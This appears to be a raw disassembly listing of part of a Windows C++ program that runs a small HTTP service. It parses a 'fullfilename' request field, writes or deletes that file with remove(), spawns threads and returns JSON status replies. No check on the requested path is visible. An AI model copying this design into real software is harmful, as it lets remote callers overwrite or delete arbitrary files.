test rax, rax
je 0x140002ca4
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002cbc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140002cba
call fcn.140006d20
mov rdi, rax
jmp 0x140002cbc
xor edi, edi
mov qword [rbp + 0x220], rdi
mov qword [rbp + 0x230], r15
mov qword [rbp + 0x238], rbx
mov r8, r14
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [0x14000872c]
mov byte [rdi + r14], al
mov byte [rdi + r15], 0
lea rdx, [rbp + 0x290]
cmp qword [rbp + 0x2a8], 0x10
cmovae rdx, qword [rbp + 0x290]
mov r8, qword [rbp + 0x2a0]
lea rcx, [rbp + 0x220]
call fcn.140005b70
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
xor edi, edi
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x1d8], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1d0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], send
mov byte [rax], dil
lea rdx, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 0x10
cmovae rdx, qword [rbp + 0x1c0]
lea rcx, [rbp + 0x2f0]
call fcn.140005970
mov rax, qword [rbp + 0x2f0]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2f0], r14
mov rax, qword [rbp + 0x2f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2ec], edx
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x140002df0
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002deb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002deb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006d5c
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x1d8], socket
mov byte [rbp + 0x1c0], 0
mov rdx, qword [rbp + 0x238]
cmp rdx, 0x10
jb 0x140002e4d
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002e48
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006d5c
mov qword [rbp + 0x230], rdi
mov qword [rbp + 0x238], socket
mov byte [rbp + 0x220], 0
lea rdx, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 0x10
cmovae rdx, qword [rbp + 0x1e0]
mov r8, qword [rbp + 0x1f0]
lea rcx, [rbp + 0x2f0]
call fcn.140006800
lea rcx, [rbp + 0x2f8]
call fcn.1400058b0
test rax, rax
jne 0x140002ec3
mov rax, qword [rbp + 0x2f0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x2f0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov r8d, 0x33
lea rdx, str.HTTP_1.1_200_OK_r_nContent_Type:_application_json_r_n_r_n
mov rbx, qword [rbp + 0x270]
mov rcx, rbx
call fcn.140005c20
mov r8d, 2
lea rdx, [0x140008674]
mov rcx, rbx
call fcn.140005b70
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.___success_:_true__n
mov rcx, rbx
call fcn.140005b70
mov r8d, 0x18
lea rdx, str.___message_:__success___n
mov rcx, rbx
call fcn.140005b70
mov r8d, 2
lea rdx, [0x1400086d8]
mov rcx, rbx
call fcn.140005b70
nop
mov rax, qword [rbp + 0x2f0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x2f0], r14
mov rax, qword [rbp + 0x2f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2ec], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x2f8], rax
cmp qword [rbp + 0x378], 0
je 0x140002fae
lea rcx, [rbp + 0x2f8]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const___ptr64]
lea rcx, [rbp + 0x368]
cmp rax, rcx
jne 0x140002fae
mov r9, qword [rbp + 0x388]
mov rdx, qword [rbp + 0x380]
mov r8, rdx
lea rcx, [rbp + 0x2f8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::setg_char____ptr64__char____ptr64__char____ptr64____ptr64]
cmp byte [rbp + 0x374], 0
je 0x140002fc3
lea rcx, [rbp + 0x2f8]
call fcn.1400058b0
lea rcx, [rbp + 0x2f8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x300]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x398]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x140003030
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000302b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000302b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006d5c
mov qword [rbp + 0x1f0], rdi
mov qword [rbp + 0x1f8], socket
mov byte [rbp + 0x1e0], 0
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0x10
jb 0x14000308e
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003088
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003088
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006d5c
nop
cmp byte [rsp + 0x40], 0
je 0x1400030ca
lea rdx, [r13 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400030c1
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400030c1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140006d5c
nop
mov rdx, qword [rbp + 0x260]
cmp rdx, 0x10
jb 0x140001bb7
inc rdx
mov rcx, qword [rbp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000310d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000310d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006d5c
jmp 0x140001bb7
sub rdi, r14
cmp rdi, 0xffffffffffffffff
je 0x140001a7d
mov r14, rbx
mov rcx, rsi
cmp r15, 0x10
jb 0x140003133
mov r14, qword [rbx]
mov rax, r14
lea r12, [rcx + rax]
lea r8, [r12 - 0xc]
sub r8, r14
mov edx, 0x66
mov rcx, r14
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
je 0x140003199
nop word [rax + rax]
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.fullfilename
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400031df
inc rdi
lea r8, [r12 - 0xc]
sub r8, rdi
mov edx, 0x66
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
jne 0x140003160
mov r12, 0xffffffffffffffff
mov rdi, r12
cmp rdi, 0xffffffffffffffff
je 0x140003661
mov r14, rbx
cmp r15, 0x10
jb 0x1400031b9
mov r14, qword [rbx]
cmp rdi, rsi
jae 0x1400031eb
sub rsi, rdi
lea rcx, [r14 + rdi]
mov r8, rsi
mov edx, 0x26
call sub.VCRUNTIME140.dll_memchr
mov rsi, rax
test rax, rax
je 0x1400031eb
sub rsi, r14
jmp 0x1400031ee
sub rdi, r14
mov r12, 0xffffffffffffffff
jmp 0x1400031a3
mov rsi, r12
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
xor r15d, r15d
mov qword [rbp + 0x2a0], r15
mov qword [rbp + 0x2a8], r15
lea r8d, [r15 + 0xd]
lea rdx, str.fullfilename
lea rcx, [rbp + 0x290]
call fcn.1400063f0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
mov qword [rbp + 0x210], r15
mov qword [rbp + 0x218], r15
lea r8d, [r15 + 0xd]
lea rdx, str.fullfilename
lea rcx, [rbp + 0x200]
call fcn.1400063f0
nop
sub rsi, qword [rbp + 0x2a0]
sub rsi, rdi
mov rcx, qword [rbp + 0x210]
add rcx, rdi
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov qword [rbp + 0x2c0], r15
mov qword [rbp + 0x2c8], r15
mov rax, qword [rbx + 0x10]
cmp rax, rcx
jb 0x140003b78
sub rax, rcx
cmp rax, rsi
cmovb rsi, rax
cmp qword [rbx + 0x18], 0x10
jb 0x14000329e
mov rbx, qword [rbx]
lea rdx, [rbx + rcx]
mov r8, rsi
lea rcx, [rbp + 0x2b0]
call fcn.1400063f0
nop
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x1400032f7
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400032f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400032f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006d5c
nop
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0x10
jb 0x140003338
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003333
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035d2
call fcn.140006d5c
lea rbx, [rbp + 0x2b0]
cmp qword [rbp + 0x2c8], 0x10
setae r14b
mov rsi, qword [rbp + 0x2b0]
cmovae rbx, rsi
mov rdi, qword [rbp + 0x2c0]
test rdi, rdi
je 0x14000337c
mov r8, rdi
mov edx, 0x20
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x14000337c
sub rax, rbx
jmp 0x14000337f
mov rax, r12
cmp rax, 0xffffffffffffffff
je 0x140003422
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
mov qword [rbp + 0x210], r15
mov qword [rbp + 0x218], r15
cmp rdi, rax
cmovb rax, rdi
lea rdx, [rbp + 0x2b0]
test r14b, r14b
cmovne rdx, rsi
mov r8, rax
lea rcx, [rbp + 0x200]
call fcn.1400063f0
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0x10
jb 0x140003406
inc rdx
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003401
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035d2
call fcn.140006d5c
movups xmm0, xmmword [rbp + 0x200]
movups xmmword [rbp + 0x2b0], xmm0
movups xmm1, xmmword [rbp + 0x210]
movups xmmword [rbp + 0x2c0], xmm1
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x1e0]
call fcn.1400012d0
nop
mov qword [rbp + 0x220], r13
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x228]
call fcn.140005420
nop
mov ecx, 0x28
call fcn.140006d20
mov rbx, rax
mov qword [rbp + 0x270], rax
mov rcx, qword [rbp + 0x220]
mov qword [rax], rcx
lea rcx, [rax + 8]
lea rdx, [rbp + 0x228]
call fcn.140005420
nop
mov qword [rbp + 0x270], rbx
lea rax, [rbp + 0x1c8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r15d
mov r9, rbx
lea r8, [0x140006bb0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x1c0], rax
test rax, rax
je 0x14000364e
cmp dword [rbp + 0x1c8], 0
je 0x140003642
movaps xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp + 0x270], xmm0
lea rcx, [rbp + 0x270]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140003642
lea r8d, [rax + 0x33]
lea rdx, str.HTTP_1.1_200_OK_r_nContent_Type:_application_json_r_n_r_n
mov rcx, r13
call fcn.140005c20
mov r8d, 2
lea rdx, [0x140008674]
mov rcx, r13
call fcn.140005b70
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.___success_:_true__n
mov rcx, r13
call fcn.140005b70
mov r8d, 0x18
lea rdx, str.___message_:__success___n
mov rcx, r13
call fcn.140005b70
mov r8d, 2
lea rdx, [0x1400086d8]
mov rcx, r13
call fcn.140005b70
nop
mov rdx, qword [rbp + 0x240]
cmp rdx, 0x10
jb 0x14000359a
inc rdx
mov rcx, qword [rbp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003594
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003594
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006d5c
nop
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x1400035de
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400035d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006d5c
mov qword [rbp + 0x1f0], r15
mov qword [rbp + 0x1f8], socket
mov byte [rbp + 0x1e0], 0
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0x10
jb 0x140001bb7
inc rdx
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000310d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000310d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x1c8], r15d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov r8d, 0x3c
lea rdx, str.HTTP_1.1_400_Bad_Request_r_nContent_Type:_application_json_r_n_r_n
jmp 0x140001b5b
sub rdi, r14
cmp rdi, 0xffffffffffffffff
je 0x140001aed
mov r14, rbx
mov rcx, rsi
cmp r15, 0x10
jb 0x14000368f
mov r14, qword [rbx]
mov rax, r14
lea r12, [rcx + rax]
lea r8, [r12 - 0xc]
sub r8, r14
mov edx, 0x66
mov rcx, r14
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
je 0x1400036f9
nop dword [rax]
nop word [rax + rax]
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.fullfilename
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14000373f
inc rdi
lea r8, [r12 - 0xc]
sub r8, rdi
mov edx, 0x66
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
jne 0x1400036c0
mov r12, 0xffffffffffffffff
mov rdi, r12
cmp rdi, 0xffffffffffffffff
je 0x140003661
mov r14, rbx
cmp r15, 0x10
jb 0x140003719
mov r14, qword [rbx]
cmp rdi, rsi
jae 0x14000374b
sub rsi, rdi
lea rcx, [r14 + rdi]
mov r8, rsi
mov edx, 0x26
call sub.VCRUNTIME140.dll_memchr
mov rsi, rax
test rax, rax
je 0x14000374b
sub rsi, r14
jmp 0x14000374e
sub rdi, r14
mov r12, 0xffffffffffffffff
jmp 0x140003703
mov rsi, r12
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
xor r15d, r15d
mov qword [rbp + 0x1f0], r15
mov qword [rbp + 0x1f8], r15
lea r8d, [r15 + 0xd]
lea rdx, str.fullfilename
lea rcx, [rbp + 0x1e0]
call fcn.1400063f0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
mov qword [rbp + 0x210], r15
mov qword [rbp + 0x218], r15
lea r8d, [r15 + 0xd]
lea rdx, str.fullfilename
lea rcx, [rbp + 0x200]
call fcn.1400063f0
nop
sub rsi, qword [rbp + 0x1f0]
sub rsi, rdi
mov rcx, qword [rbp + 0x210]
add rcx, rdi
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x2e0], r15
mov qword [rbp + 0x2e8], r15
mov rax, qword [rbx + 0x10]
cmp rax, rcx
jb 0x140003b2a
sub rax, rcx
cmp rax, rsi
cmovb rsi, rax
cmp qword [rbx + 0x18], 0x10
jb 0x1400037fe
mov rbx, qword [rbx]
lea rdx, [rcx + rbx]
mov r8, rsi
lea rcx, [rbp + 0x2d0]
call fcn.1400063f0
nop
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x140003857
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003851
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003851
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006d5c
nop
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x140003898
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003893
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003aa4
call fcn.140006d5c
lea rbx, [rbp + 0x2d0]
cmp qword [rbp + 0x2e8], 0x10
setae r14b
mov rsi, qword [rbp + 0x2d0]
cmovae rbx, rsi
mov rdi, qword [rbp + 0x2e0]
test rdi, rdi
je 0x1400038dc
mov r8, rdi
mov edx, 0x20
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400038dc
sub rax, rbx
jmp 0x1400038df
mov rax, r12
cmp rax, 0xffffffffffffffff
je 0x140003982
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
mov qword [rbp + 0x210], r15
mov qword [rbp + 0x218], r15
cmp rdi, rax
cmovb rax, rdi
lea rdx, [rbp + 0x2d0]
test r14b, r14b
cmovne rdx, rsi
mov r8, rax
lea rcx, [rbp + 0x200]
call fcn.1400063f0
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 0x10
jb 0x140003966
inc rdx
mov rcx, qword [rbp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003961
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003aa4
call fcn.140006d5c
movups xmm0, xmmword [rbp + 0x200]
movups xmmword [rbp + 0x2d0], xmm0
movups xmm1, xmmword [rbp + 0x210]
movups xmmword [rbp + 0x2e0], xmm1
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x290]
call fcn.1400012d0
nop
lea rcx, [rbp + 0x290]
cmp qword [rbp + 0x2a8], 0x10
cmovae rcx, qword [rbp + 0x290]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rcx, r13
test eax, eax
je 0x140003a05
mov r8d, 0x3a
lea rdx, str.HTTP_1.1_404_Not_Found_r_nContent_Type:_application_json_r_n_r_n
call fcn.140005c20
mov r8d, 2
lea rdx, [0x140008674]
mov rcx, r13
call fcn.140005b70
mov r8d, socket
lea rdx, str.___success_:_false__n
mov rcx, r13
call fcn.140005b70
mov r8d, socket
lea rdx, str.___message_:__error___n
jmp 0x140003a4e
mov r8d, 0x33
lea rdx, str.HTTP_1.1_200_OK_r_nContent_Type:_application_json_r_n_r_n
call fcn.140005c20
mov r8d, 2
lea rdx, [0x140008674]
mov rcx, r13
call fcn.140005b70
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.___success_:_true__n
mov rcx, r13
call fcn.140005b70
mov r8d, 0x18
lea rdx, str.___message_:__success___n
mov rcx, r13
call fcn.140005b70
mov r8d, 2
lea rdx, [0x1400086d8]
mov rcx, r13
call fcn.140005b70
nop
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0x10
jb 0x140003ab0
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003aab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003aab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006d5c
mov qword [rbp + 0x2a0], r15
mov qword [rbp + 0x2a8], socket
mov byte [rbp + 0x290], 0
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 0x10
jb 0x140001bb7
inc rdx
mov rcx, qword [rbp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000310d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000310d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
sub rax, rbx
cmp rax, 0xffffffffffffffff
je 0x140001b4e
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call fcn.140005d80
nop
call fcn.140001110
nop
call fcn.140001110
int3
call fcn.1400011b0
nop
call fcn.1400011b0
nop
call fcn.140001110
int3
call fcn.1400011b0
int3
call fcn.140005d80
nop
call fcn.140005d80
nop
call fcn.140005d80
nop
call fcn.140005d80
nop
call fcn.1400011b0
int3
call fcn.140001110
nop
call fcn.140005d80
int3